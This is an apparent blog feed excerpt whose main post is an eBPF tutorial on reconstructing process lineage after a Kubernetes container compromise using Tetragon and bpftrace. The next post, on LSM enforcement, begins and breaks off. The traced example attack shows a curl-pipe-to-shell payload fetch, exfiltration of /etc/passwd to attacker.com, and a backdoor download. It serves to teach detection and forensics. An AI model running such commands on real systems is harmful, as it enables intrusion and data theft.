<pre><code class="" data-line=""># If Tetragon is installed — view the live process lineage stream
kubectl exec -n kube-system \
  $(kubectl get pod -n kube-system -l app.kubernetes.io/name=tetragon -o name | head -1) \
  -- tetra getevents --event-types PROCESS_EXEC | head -20
</code></pre>
<p>Sample Tetragon output:</p>
<pre><code class="" data-line="">{
  &quot;process_exec&quot;: {
    &quot;process&quot;: {
      &quot;pid&quot;: 18293,
      &quot;binary&quot;: &quot;/bin/sh&quot;,
      &quot;arguments&quot;: &quot;-c health-check.sh&quot;,
      &quot;start_time&quot;: &quot;2026-04-22T09:14:03.412Z&quot;,
      &quot;pod&quot;: {&quot;name&quot;: &quot;my-app-6d4f9-xk2p1&quot;, &quot;namespace&quot;: &quot;production&quot;},
      &quot;parent_pid&quot;: 18201
    },
    &quot;parent&quot;: {
      &quot;pid&quot;: 18201,
      &quot;binary&quot;: &quot;/usr/local/bin/my-app&quot;,
      &quot;pod&quot;: {&quot;name&quot;: &quot;my-app-6d4f9-xk2p1&quot;, &quot;namespace&quot;: &quot;production&quot;}
    }
  }
}
</code></pre>
<p>Each event has the process, its parent, the pod, the namespace, and the full binary path. That&#8217;s the raw material for process lineage reconstruction.</p>
<blockquote>
<p><strong>Not running Tetragon?</strong> Plain bpftrace on the node gives you the same raw data without Kubernetes enrichment — you get PIDs and process names but not pod names or namespaces without the <code class="" data-line="">/proc/&lt;pid&gt;/cgroup</code> mapping step. For incident reconstruction, the Tetragon-enriched stream is significantly more useful because pod attribution is baked in at capture time, not reconstructed afterward.</p>
</blockquote>
<hr />
<p>A container in the <code class="" data-line="">payments</code> namespace was reported compromised. The security team&#8217;s automated response had already restarted the pod — the attacker&#8217;s process was gone. The container&#8217;s filesystem had been reset to the image. The application logs for that pod were deleted when the pod restarted. The Kubernetes event log showed the pod restart but nothing about what had run inside it.</p>
<p>Three questions, no answers yet:<br />
1. What spawned the attacker&#8217;s process? (was it a remote code execution in the app, or a misconfigured exec?)<br />
2. What did the attacker run after getting in? (what did they download, execute, touch?)<br />
3. What network connections did they make? (where did data go, if anywhere?)</p>
<p>The answers were in Tetragon&#8217;s process event export — captured at the kernel level before the pod was restarted, stored in the observability backend, and queryable by pod name and time window. The kernel had seen every exec, every fork, every file open. The restart didn&#8217;t touch that record.</p>
<p>The lineage showed:</p>
<pre><code class="" data-line="">my-app (PID 18201)
  └── sh -c &quot;curl http://attacker.com/payload.sh | sh&quot;  (PID 18293)
        └── sh payload.sh  (PID 18294)
              ├── cat /etc/passwd  (PID 18295)
              ├── curl http://attacker.com/exfil -d @/etc/passwd  (PID 18296)
              └── wget -O /tmp/.x http://attacker.com/backdoor  (PID 18297)
                    └── chmod +x /tmp/.x  (PID 18298)
</code></pre>
<p>Five minutes of attacker activity, fully reconstructed, from a pod that no longer existed.</p>
<hr />
<h2 id="how-the-kernel-tracks-process-identity">How the Kernel Tracks Process Identity</h2>
<p>Every process in Linux is represented by a <code class="" data-line="">task_struct</code> — the kernel&#8217;s internal data structure for a running process. It contains everything the kernel knows about that process.</p>
<blockquote>
<p><strong><code class="" data-line="">task_struct</code></strong> — the kernel&#8217;s primary data structure for a process. Contains: PID, PPID, UID, GID, process name (comm, 15 chars), open file descriptors, memory mappings, namespace references, cgroup membership, capabilities, and a pointer to the parent <code class="" data-line="">task_struct</code>. When bpftrace uses <code class="" data-line="">curtask</code>, it&#8217;s returning a pointer to the current process&#8217;s <code class="" data-line="">task_struct</code>. Reading <code class="" data-line="">curtask-&gt;real_parent-&gt;tgid</code> gives you the parent&#8217;s PID — the foundation of process lineage.</p>
</blockquote>
<p>When a process calls <code class="" data-line="">fork()</code>, the kernel:<br />
1. Allocates a new <code class="" data-line="">task_struct</code> for the child<br />
2. Copies the parent&#8217;s <code class="" data-line="">task_struct</code> fields into the child<br />
3. Sets the child&#8217;s <code class="" data-line="">real_parent</code> pointer to the parent&#8217;s <code class="" data-line="">task_struct</code><br />
4. Assigns the child a new PID<br />
5. Returns the child&#8217;s PID to the parent, and 0 to the child</p>
<p>When the child calls <code class="" data-line="">execve()</code>, the kernel:<br />
1. Validates the binary (verifier/capability checks, LSM hooks)<br />
2. Replaces the process&#8217;s memory image with the new binary<br />
3. Updates <code class="" data-line="">task_struct-&gt;comm</code> with the new process name<br />
4. The PID does not change — <code class="" data-line="">execve</code> replaces the process image but not the process identity</p>
<p>This <code class="" data-line="">fork</code> → <code class="" data-line="">exec</code> sequence is how every shell command works: the shell forks a child, the child execs the command. eBPF hooks on both events, correlated by PID and parent PID, give you the complete tree.</p>
<hr />
<h2 id="building-the-process-tree-with-kprobes">Building the Process Tree with kprobes</h2>
<p>The two core hooks for process lineage:</p>
<pre><code class="" data-line=""># Every fork — capture parent/child relationship
bpftrace -e &#039;
tracepoint:syscalls:sys_exit_clone {
    if (retval &gt; 0) {
        # retval is the child PID (from parent&#039;s perspective)
        printf(&quot;FORK parent=%-6d child=%-6d parent_comm=%-20s\n&quot;,
               pid, retval, comm);
    }
}&#039;
</code></pre>
<pre><code class="" data-line=""># Every exec — capture what binary replaced the process image
bpftrace -e &#039;
tracepoint:syscalls:sys_enter_execve {
    printf(&quot;EXEC pid=%-6d ppid=%-6d binary=%-40s args=%s\n&quot;,
           pid,
           curtask-&gt;real_parent-&gt;tgid,
           str(args-&gt;filename),
           str(*args-&gt;argv));
}&#039;
</code></pre>
<p>Combined output (30 seconds, simplified):</p>
<pre><code class="" data-line="">FORK parent=18201 child=18293  parent_comm=my-app
EXEC pid=18293 ppid=18201 binary=/bin/sh              args=sh -c curl http://...
FORK parent=18293 child=18294  parent_comm=sh
EXEC pid=18294 ppid=18293 binary=/bin/sh              args=sh payload.sh
FORK parent=18294 child=18295  parent_comm=sh
EXEC pid=18295 ppid=18294 binary=/bin/cat             args=cat /etc/passwd
FORK parent=18294 child=18296  parent_comm=sh
EXEC pid=18296 ppid=18294 binary=/usr/bin/curl        args=curl http://attacker.com/exfil -d @/etc/passwd
</code></pre>
<p>Each line is a kernel event. The parent/child PID chain is the tree. Rendered:</p>
<pre><code class="" data-line="">my-app (18201)
  └── sh (18293) — &quot;sh -c curl http://attacker.com/payload.sh | sh&quot;
        └── sh (18294) — &quot;sh payload.sh&quot;
              ├── cat (18295) — &quot;/etc/passwd&quot;
              └── curl (18296) — &quot;http://attacker.com/exfil -d @/etc/passwd&quot;
</code></pre>
<p>This tree is constructed entirely from kernel events. No application logging. No container stdout. No agent inside the container.</p>
<hr />
<h2 id="how-tetragon-stores-the-process-tree-in-bpf-maps">How Tetragon Stores the Process Tree in BPF Maps</h2>
<p>bpftrace&#8217;s approach above produces an event stream — a log you reconstruct manually. Tetragon takes a different approach: it maintains a live process tree in BPF maps, updated on every fork and exec event, persistently queryable.</p>
<pre><code class="" data-line="">Kernel events (kprobe on clone, execve, exit)
      ↓
Tetragon eBPF programs
      ↓
Write to BPF_MAP_TYPE_HASH: process_cache
      key: PID
      value: {binary, args, start_time, parent_pid, pod_name, namespace, uid, gid, caps}
      ↓
Tetragon userspace agent
      reads process_cache on events
      enriches with Kubernetes pod metadata (from informer cache)
      exports to gRPC stream → observability backend
</code></pre>
<blockquote>
<p><strong><code class="" data-line="">task_struct</code> in BPF maps</strong> — Tetragon doesn&#8217;t store the raw <code class="" data-line="">task_struct</code> pointer in its maps (pointers are not stable across process lifetime). Instead, it stores a snapshot of the relevant fields (PID, binary path, arguments, capabilities, cgroup path, start time) at the moment of the exec event, keyed by PID. When the process exits, the entry is kept in the cache for a configurable window to allow late-arriving events (like file closes or connection terminations) to be correlated back to the originating process.</p>
</blockquote>
<p>To inspect Tetragon&#8217;s process cache directly:</p>
<pre><code class="" data-line=""># Find the Tetragon process cache map
bpftool map list | grep process_cache

# 112: hash  name process_cache  flags 0x0
#      key 4B  value 256B  max_entries 65536  memlock 16777216B

# Dump a few entries
bpftool map dump id 112 | head -60

# [{
#     &quot;key&quot;: 18293,                           # ← PID
#     &quot;value&quot;: {
#         &quot;binary&quot;: &quot;/bin/sh&quot;,
#         &quot;args&quot;: &quot;sh -c curl http://...&quot;,
#         &quot;pid&quot;: 18293,
#         &quot;ppid&quot;: 18201,
#         &quot;uid&quot;: 1000,
#         &quot;start_time&quot;: 1745296443,
#         &quot;cgroup&quot;: &quot;kubepods/burstable/pod3f8a21bc/.../payments&quot;
#     }
# }]
</code></pre>
<p>The <code class="" data-line="">cgroup</code> field maps directly to the pod — same path as <code class="" data-line="">/proc/&lt;pid&gt;/cgroup</code> but captured at exec time and stored in kernel space.</p>
<hr />
<h2 id="correlating-files-and-connections-to-the-process-tree">Correlating Files and Connections to the Process Tree</h2>
<p>Process lineage is most useful when combined with the file access and network connection events from the same process. Tetragon&#8217;s TracingPolicy supports this multi-event correlation natively:</p>
<pre><code class="" data-line="">apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: observe-process-lineage
spec:
  kprobes:
    - call: &quot;security_inode_permission&quot;
      syscall: false
      args:
        - index: 0
          type: &quot;inode&quot;
      selectors:
        - matchNamespaces:
            - namespace: Net
              operator: &quot;NotIn&quot;
              values: [&quot;1&quot;]    # exclude host network namespace
          matchActions:
            - action: Post   # audit: log but don&#039;t block
    - call: &quot;tcp_connect&quot;
      syscall: false
      args:
        - index: 0
          type: &quot;sock&quot;
      selectors:
        - matchActions:
            - action: Post
</code></pre>
<p>With this policy active, Tetragon emits events for both file access and TCP connections, each carrying the full process context (PID, binary, pod, parent). Correlated by PID and timestamp:</p>
<pre><code class="" data-line="">tetra getevents | jq &#039;select(.process_kprobe.function_name == &quot;tcp_connect&quot;) |
  {pid: .process_kprobe.process.pid,
   binary: .process_kprobe.process.binary,
   pod: .process_kprobe.process.pod.name,
   dst: .process_kprobe.args[0].sock_arg.daddr}&#039;
</code></pre>
<p>Sample output:</p>
<pre><code class="" data-line="">{&quot;pid&quot;: 18296, &quot;binary&quot;: &quot;/usr/bin/curl&quot;, &quot;pod&quot;: &quot;my-app-6d4f9-xk2p1&quot;, &quot;dst&quot;: &quot;93.184.216.34&quot;}
{&quot;pid&quot;: 18297, &quot;binary&quot;: &quot;/usr/bin/wget&quot;, &quot;pod&quot;: &quot;my-app-6d4f9-xk2p1&quot;, &quot;dst&quot;: &quot;93.184.216.34&quot;}
</code></pre>
<p>PID 18296 and 18297 both connected to the same IP. Cross-reference with the process tree: those are the <code class="" data-line="">curl</code> and <code class="" data-line="">wget</code> spawned by the attacker&#8217;s payload script. The destination IP is the attacker&#8217;s infrastructure. The timeline is milliseconds-precise because the events are timestamped by the kernel at the hook point.</p>
<hr />
<h2 id="building-process-lineage-without-tetragon">Building Process Lineage Without Tetragon</h2>
<p>If you&#8217;re not running Tetragon, you can build a basic process lineage recorder with bpftrace that writes to a file:</p>
<pre><code class="" data-line=""># Record all exec events to a file — run in the background on the node
bpftrace -e &#039;
tracepoint:syscalls:sys_enter_execve {
    printf(&quot;%llu EXEC pid=%-6d ppid=%-6d binary=%s\n&quot;,
           nsecs, pid, curtask-&gt;real_parent-&gt;tgid, str(args-&gt;filename));
}
tracepoint:sched:sched_process_exit {
    printf(&quot;%llu EXIT pid=%-6d comm=%s\n&quot;, nsecs, pid, comm);
}
&#039; &gt; /var/log/process-lineage.log &amp;

# Tail the log for real-time observation
tail -f /var/log/process-lineage.log
</code></pre>
<p>Sample output:</p>
<pre><code class="" data-line="">1745296443123456789 EXEC pid=18293 ppid=18201 binary=/bin/sh
1745296443234567890 EXEC pid=18294 ppid=18293 binary=/bin/sh
1745296443345678901 EXEC pid=18295 ppid=18294 binary=/bin/cat
1745296443456789012 EXIT pid=18295 comm=cat
1745296443567890123 EXEC pid=18296 ppid=18294 binary=/usr/bin/curl
1745296443678901234 EXIT pid=18293 comm=sh
</code></pre>
<p>This file survives pod restarts because it&#8217;s on the node, not in the container. After the pod is restarted, the process lineage record is still on disk. You reconstruct the tree by grouping by <code class="" data-line="">ppid</code> and ordering by timestamp.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Ringbuf saturation on high-process-churn nodes.</strong> Nodes running serverless workloads or short-lived batch jobs may spawn thousands of processes per minute. Hooking exec on every process at that rate generates a high ringbuf write volume. Filter at the eBPF level by cgroup (namespace) rather than in userspace — sending events to userspace only to discard them wastes ringbuf space and CPU. Tetragon&#8217;s namespace selector does this filtering in the eBPF program before the write.</p>
<p><strong>The 15-character <code class="" data-line="">comm</code> truncation.</strong> The <code class="" data-line="">comm</code> field in <code class="" data-line="">task_struct</code> is limited to 15 characters (plus null terminator). Process names longer than 15 characters are truncated. <code class="" data-line="">bpftrace</code>&#8216;s <code class="" data-line="">comm</code> built-in has the same limit. For the full binary path, read from <code class="" data-line="">execve</code>&#8216;s <code class="" data-line="">filename</code> argument at the tracepoint, not from <code class="" data-line="">comm</code>.</p>
<p><strong>PID reuse.</strong> Linux PIDs are reused after a process exits. In a high-churn environment, a PID you recorded as an attacker process may be reassigned to a legitimate process seconds later. Always pair PIDs with start time and cgroup path when correlating across events. Tetragon&#8217;s process cache keys on PID + start time to handle this.</p>
<p><strong>Exec chains lose argument history.</strong> When <code class="" data-line="">execve</code> replaces the process image, <code class="" data-line="">task_struct-&gt;comm</code> changes but the PID does not. If the attacker&#8217;s shell runs <code class="" data-line="">exec bash</code> to replace itself with a less suspicious binary name, the exec event captures the new binary — but the PID lineage still shows the parent correctly. Don&#8217;t rely on <code class="" data-line="">comm</code> alone for process identity; always track the binary path from the exec event.</p>
<p><strong>Process events don&#8217;t capture file content.</strong> You see that <code class="" data-line="">/bin/cat /etc/passwd</code> ran. You don&#8217;t see what was in <code class="" data-line="">/etc/passwd</code> at that moment unless you also capture file open/read events. Tetragon&#8217;s <code class="" data-line="">security_inode_permission</code> hook tells you which files were accessed; capturing their content requires additional hooks on <code class="" data-line="">vfs_read</code> with buffer capture, which is significantly higher overhead and requires careful data handling for sensitive files.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>What you want</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>Live exec trace (bpftrace)</td>
<td><code class="" data-line="">bpftrace -e &#039;tracepoint:syscalls:sys_enter_execve { printf(...) }&#039;</code></td>
</tr>
<tr>
<td>Fork + exec tree</td>
<td>Combine <code class="" data-line="">sys_exit_clone</code> + <code class="" data-line="">sys_enter_execve</code> traces, correlate by pid/ppid</td>
</tr>
<tr>
<td>Tetragon process events</td>
<td><code class="" data-line="">tetra getevents --event-types PROCESS_EXEC</code></td>
</tr>
<tr>
<td>Tetragon file + network</td>
<td><code class="" data-line="">tetra getevents --event-types PROCESS_KPROBE</code></td>
</tr>
<tr>
<td>Process cache map</td>
<td><code class="" data-line="">bpftool map list | grep process_cache</code> → <code class="" data-line="">bpftool map dump id N</code></td>
</tr>
<tr>
<td>Map PID to pod</td>
<td><code class="" data-line="">cat /proc/&lt;pid&gt;/cgroup</code> → extract pod UID</td>
</tr>
<tr>
<td>Process exit events</td>
<td><code class="" data-line="">tracepoint:sched:sched_process_exit</code></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Process event</th>
<th>Kernel hook</th>
</tr>
</thead>
<tbody>
<tr>
<td>New process spawned</td>
<td><code class="" data-line="">tracepoint:syscalls:sys_exit_clone</code> (retval &gt; 0 = child PID)</td>
</tr>
<tr>
<td>Binary executed</td>
<td><code class="" data-line="">tracepoint:syscalls:sys_enter_execve</code></td>
</tr>
<tr>
<td>Process exited</td>
<td><code class="" data-line="">tracepoint:sched:sched_process_exit</code></td>
</tr>
<tr>
<td>File opened</td>
<td><code class="" data-line="">tracepoint:syscalls:sys_enter_openat</code></td>
</tr>
<tr>
<td>Network connect</td>
<td><code class="" data-line="">kprobe:tcp_connect</code></td>
</tr>
<tr>
<td>DNS query</td>
<td><code class="" data-line="">tracepoint:syscalls:sys_enter_sendto</code> (port 53)</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Process lineage with eBPF hooks <code class="" data-line="">fork</code> and <code class="" data-line="">exec</code> at the kernel level — every process spawned on a node is recorded with its parent PID, binary path, arguments, and container context, regardless of what the container does to suppress application logs</li>
<li>The kernel&#8217;s <code class="" data-line="">task_struct</code> is the authoritative source of process identity; eBPF programs read it at hook time and snapshot the relevant fields into BPF maps before the process can exit or be killed</li>
<li>Tetragon maintains a live process tree in BPF maps, correlates it with Kubernetes metadata, and makes it queryable by pod/namespace — the record persists after the pod is restarted</li>
<li>Incident reconstruction requires correlating process lineage with file access events and network connection events, all correlated by PID and timestamp — eBPF provides all three event streams from the same kernel attachment mechanism</li>
<li>PID reuse is a real concern in high-churn environments; always pair PIDs with start time and cgroup path when correlating across events</li>
<li>Kernel-level process events cannot be suppressed by a compromised container process — an attacker with root inside the container still cannot prevent bpftrace or Tetragon running on the host from recording their syscalls</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP14 is the payoff episode for the entire series arc so far. You&#8217;ve seen programs load (EP04), maps hold state (EP05), CO-RE keep programs portable (EP06), XDP and TC enforce at the network layer (EP07, EP08), bpftrace ask one-off questions (EP09), and the observability stack collect flow, DNS, and process data continuously (EP10, EP11, EP12, EP13).</p>
<p>EP14 synthesises all of it into four commands that tell you everything about any cluster you&#8217;ve never seen before — any eBPF-based tool, any vendor, any configuration. The audit playbook is what you run in the first 10 minutes when you inherit a cluster and need to understand what&#8217;s enforcing policy at the kernel level before you can trust anything it tells you.</p>
<p><em>Next: <a href="/ebpf-audit-playbook/">the audit playbook — four commands to see any cluster</a></em></p>
<p>Get EP14 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-process-lineage-incident-response%2F&amp;linkname=Process%20Lineage%20%E2%80%94%20Reconstructing%20What%20Happened%20After%20the%20Fact" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-process-lineage-incident-response%2F&amp;linkname=Process%20Lineage%20%E2%80%94%20Reconstructing%20What%20Happened%20After%20the%20Fact" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-process-lineage-incident-response%2F&amp;linkname=Process%20Lineage%20%E2%80%94%20Reconstructing%20What%20Happened%20After%20the%20Fact" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-process-lineage-incident-response%2F&amp;linkname=Process%20Lineage%20%E2%80%94%20Reconstructing%20What%20Happened%20After%20the%20Fact" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-process-lineage-incident-response%2F&amp;linkname=Process%20Lineage%20%E2%80%94%20Reconstructing%20What%20Happened%20After%20the%20Fact" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-process-lineage-incident-response%2F&amp;linkname=Process%20Lineage%20%E2%80%94%20Reconstructing%20What%20Happened%20After%20the%20Fact" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-process-lineage-incident-response%2F&amp;linkname=Process%20Lineage%20%E2%80%94%20Reconstructing%20What%20Happened%20After%20the%20Fact" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Febpf-process-lineage-incident-response%2F&#038;title=Process%20Lineage%20%E2%80%94%20Reconstructing%20What%20Happened%20After%20the%20Fact" data-a2a-url="https://linuxcent.com/ebpf-process-lineage-incident-response/" data-a2a-title="Process Lineage — Reconstructing What Happened After the Fact"></a></p><p>The post <a href="https://linuxcent.com/ebpf-process-lineage-incident-response/">Process Lineage — Reconstructing What Happened After the Fact</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/ebpf-process-lineage-incident-response/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1842</post-id>	</item>
		<item>
		<title>LSM and Tetragon — When the Kernel Says No</title>
		<link>https://linuxcent.com/ebpf-lsm-tetragon-runtime-security/</link>
					<comments>https://linuxcent.com/ebpf-lsm-tetragon-runtime-security/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Fri, 12 Jun 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[eBPF]]></category>
		<category><![CDATA[Cilium]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<category><![CDATA[linux-security]]></category>
		<category><![CDATA[LSM]]></category>
		<category><![CDATA[Runtime Security]]></category>
		<category><![CDATA[SRE]]></category>
		<category><![CDATA[Tetragon]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1841</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 8</span> <span class="rt-label rt-postfix">minutes</span></span>LSM eBPF Tetragon hooks enforce policy at the syscall boundary before it completes — how Tetragon kills processes from kernel space, and why that matters.</p>
<p>The post <a href="https://linuxcent.com/ebpf-lsm-tetragon-runtime-security/">LSM and Tetragon — When the Kernel Says No</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 8</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>eBPF: From Kernel to Cloud, Episode 12</em><br />
<a href="/what-is-ebpf-linux-kubernetes/">What Is eBPF?</a> · <a href="/bpf-verifier-kubernetes-safety/">The BPF Verifier</a> · <a href="/ebpf-vs-kernel-modules-kubernetes/">eBPF vs Kernel Modules</a> · <a href="/ebpf-program-types-kubernetes/">eBPF Program Types</a> · <a href="/ebpf-maps-explained/">eBPF Maps</a> · <a href="/ebpf-co-re-libbpf-portable-programs/">CO-RE and libbpf</a> · <a href="/ebpf-xdp-kubernetes-networking/">XDP</a> · <a href="/tc-ebpf-kubernetes-network-policy/">TC eBPF</a> · <a href="/bpftrace-kernel-observability/">bpftrace</a> · <a href="/ebpf-network-flow-observability/">Network Flow Observability</a> · <a href="/ebpf-dns-observability-kubernetes/">DNS Observability</a> · <strong>LSM and Tetragon</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>LSM eBPF Tetragon integrates Linux Security Module hooks with eBPF programs — enforcement happens at the syscall boundary, before the operation completes, with no detect-and-respond window<br />
  <em>(LSM hook = Linux Security Module hook: a callback point built into the kernel that fires before a security-relevant operation completes, allowing the security module to approve or reject it)</em></li>
<li>Falco and similar sidecar-based tools detect after the fact — the syscall returns, the file is written, the connection is established, the alert fires; with LSM, the syscall never returns success</li>
<li><code class="" data-line="">BPF_PROG_TYPE_LSM</code> is the eBPF program type that attaches to LSM hooks — introduced in kernel 5.7, stable in 5.10+; available on all current Ubuntu LTS, Fedora, and EKS/GKE nodes</li>
<li>Tetragon attaches eBPF programs to LSM hooks and kprobes simultaneously — observing and enforcing from the same kernel attachment point</li>
<li>Tetragon&#8217;s enforcement sends <code class="" data-line="">SIGKILL</code> from within the kernel context — not from a userspace agent reading an audit log and then killing the process</li>
<li>Production caution: LSM enforce mode without thorough policy testing in audit mode first will kill legitimate workloads; always audit before enforce</li>
</ul>
<hr />
<p>EP11 showed how to observe DNS queries at the kernel level — seeing what a workload resolves before it establishes a connection. But observation is passive. It tells you what happened. LSM eBPF Tetragon changes the question entirely: instead of watching the workload, the kernel refuses the operation. This episode covers how that enforcement layer works and why the difference between &#8220;detect&#8221; and &#8220;prevent&#8221; matters in runtime security.</p>
<h2 id="quick-check-is-your-cluster-running-lsm-based-enforcement">Quick Check: Is Your Cluster Running LSM-Based Enforcement?</h2>
<pre><code class="" data-line=""># On any cluster node — what security modules are active?
cat /sys/kernel/security/lsm

# Expected output on a modern kernel:
# lockdown,capability,landlock,yama,apparmor,bpf
#                                              ^^^
#                            &quot;bpf&quot; here means BPF LSM is enabled
</code></pre>
<pre><code class="" data-line=""># Is Tetragon running on this cluster?
kubectl get pods -n kube-system -l app.kubernetes.io/name=tetragon

# If Tetragon is present, check what TracingPolicies are enforcing:
kubectl get tracingpolicies -A

# Sample output:
# NAMESPACE    NAME                      AGE
# kube-system  block-privileged-exec     3d
# kube-system  restrict-sensitive-paths  3d
</code></pre>
<pre><code class="" data-line=""># See what eBPF programs Tetragon has loaded
bpftool prog list | grep -i tetragon

# Output sample:
# 89: lsm  name tetragon_lsm_bprm  tag 8f2a1c3e4d5b7a9f  gpl
#     loaded_at 2026-04-22T09:13:45+0530  uid 0
#     xlated 3312B  jited 2184B  memlock 8192B
# 91: kprobe  name tetragon_kp_exec tag 3c1d8e2f7a4b5c9d  gpl
</code></pre>
<p><code class="" data-line="">lsm</code> program type confirms LSM hook attachment. If you see <code class="" data-line="">tetragon_lsm_*</code> entries, Tetragon is enforcing at the kernel level on this node.</p>
<blockquote>
<p><strong>Not running Tetragon?</strong> Check if your cluster uses AppArmor or seccomp profiles instead — <code class="" data-line="">kubectl get pod &lt;name&gt; -o jsonpath=&#039;{.metadata.annotations}&#039;</code> and look for <code class="" data-line="">seccomp.security.alpha.kubernetes.io</code> or <code class="" data-line="">container.apparmor.security.beta.kubernetes.io</code> annotations. These are userspace-applied profiles that the kernel enforces. Tetragon is additive — it can run alongside AppArmor/seccomp and provides per-process, dynamic policy that static profiles cannot.</p>
</blockquote>
<hr />
